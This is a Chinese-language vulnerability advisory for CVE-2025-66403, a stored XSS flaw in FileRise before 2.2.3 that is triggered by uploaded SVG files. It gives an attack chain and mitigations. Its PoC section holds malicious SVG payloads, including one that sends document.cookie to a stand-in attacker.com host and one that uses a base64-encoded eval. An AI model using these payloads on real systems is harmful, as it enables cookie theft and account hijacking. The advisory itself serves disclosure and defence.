IPBUF安全漏洞报告
English
CVE-2025-66403 CVSS 4.6 中危

CVE-2025-66403: FileRise 存储型跨站脚本(XSS)漏洞

披露日期: 2025-12-01

漏洞信息

漏洞编号
CVE-2025-66403
漏洞类型
存储型XSS
CVSS评分
4.6 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
FileRise

相关标签

存储型XSS跨站脚本SVG注入文件上传漏洞FileRiseCVE-2025-66403Web安全

漏洞概述

CVE-2025-66403是FileRise文件管理器中的一个存储型跨站脚本(XSS)漏洞。FileRise是一款自托管的基于Web的文件管理器,支持多文件上传、编辑和批量操作。该漏洞存在于2.2.3之前的版本中,源于应用程序对用户上传的SVG文件处理不当。攻击者可以上传包含恶意JavaScript代码或事件触发型载荷的SVG文件,当其他用户在应用内查看这些文件时,嵌入在SVG中的脚本代码会在应用源上下文中执行。由于SVG是XML格式且支持脚本执行,这使得攻击者能够窃取用户会话Cookie、劫持用户账户、执行未经授权的操作,甚至可能进一步横向移动攻击。由于该漏洞为存储型XSS,恶意代码会持久化保存在服务器上,所有访问该文件的用户都会受到影响。漏洞已于2.2.3版本中修复。

技术细节

FileRise应用在处理文件上传时,未对SVG文件内容进行充分的 sanitization(消毒)和 validation(验证)。SVG(可缩放矢量图形)是基于XML的图像格式,标准SVG规范允许在<script>标签中嵌入JavaScript代码,或通过事件属性(如onload、onerror、onclick等)触发脚本执行。攻击者可以利用这一特性构造恶意SVG文件,上传到服务器后,当其他用户通过应用的文件预览功能查看该SVG时,浏览器会将其作为HTML的一部分渲染,从而触发其中嵌入的JavaScript代码。由于SVG在应用的origin上下文中执行,攻击脚本可以访问该域下的所有资源,包括用户的认证令牌、API密钥、页面内容等。攻击者通常会窃取用户的会话Cookie或执行API请求来提升权限。修复措施包括:在文件上传时对SVG内容进行严格过滤,移除所有脚本标签和事件属性;或者在响应头中设置Content-Disposition: attachment,强制下载而非直接渲染。

攻击链分析

STEP 1
步骤1
攻击者注册并登录FileRise应用,获取低权限用户账户
STEP 2
步骤2
攻击者构造包含恶意JavaScript代码的SVG文件(利用<script>标签或事件属性如onload)
STEP 3
步骤3
攻击者通过文件上传功能将恶意SVG文件上传到服务器
STEP 4
步骤4
服务器未对SVG内容进行sanitization,直接存储该文件
STEP 5
步骤5
其他用户(受害者)通过应用的文件预览功能查看该SVG文件
STEP 6
步骤6
浏览器将SVG作为HTML渲染,触发嵌入的JavaScript代码,在应用origin上下文中执行
STEP 7
步骤7
攻击者通过JavaScript窃取受害者的Cookie、会话令牌或其他敏感信息

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- Malicious SVG file for CVE-2025-66403 PoC --> <svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.cookie)"> <script>alert('XSS - CVE-2025-66403'); document.location='https://attacker.com/steal?c='+encodeURIComponent(document.cookie)</script> <circle cx="100" cy="100" r="80" fill="red" /> </svg> <!-- Alternative PoC with event-based payload --> <svg xmlns="http://www.w3.org/2000/svg"> <foreignObject onerror="eval(atob('YWxlcnQoJ1hTUyBDVkUtMjAyNS02NjQwMycpOw=='))"> <body xmlns="http://www.w3.org/1999/xhtml"> <p>Malicious content</p> </body> </foreignObject> </svg>

影响范围

FileRise < 2.2.3

防御指南

临时缓解措施
如果无法立即升级到修复版本,可采取以下临时缓解措施:1) 禁用SVG文件上传功能,或限制仅允许受信任的管理员上传;2) 在Web服务器层面配置,对.svg文件返回Content-Disposition: attachment头,强制下载而非在浏览器中渲染;3) 部署Web应用防火墙(WAF)规则,检测并阻止包含<script>标签或事件处理器属性的SVG文件上传;4) 启用Content-Security-Policy头部,限制脚本来源;5) 加强用户权限管理,限制低权限用户的上传功能。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表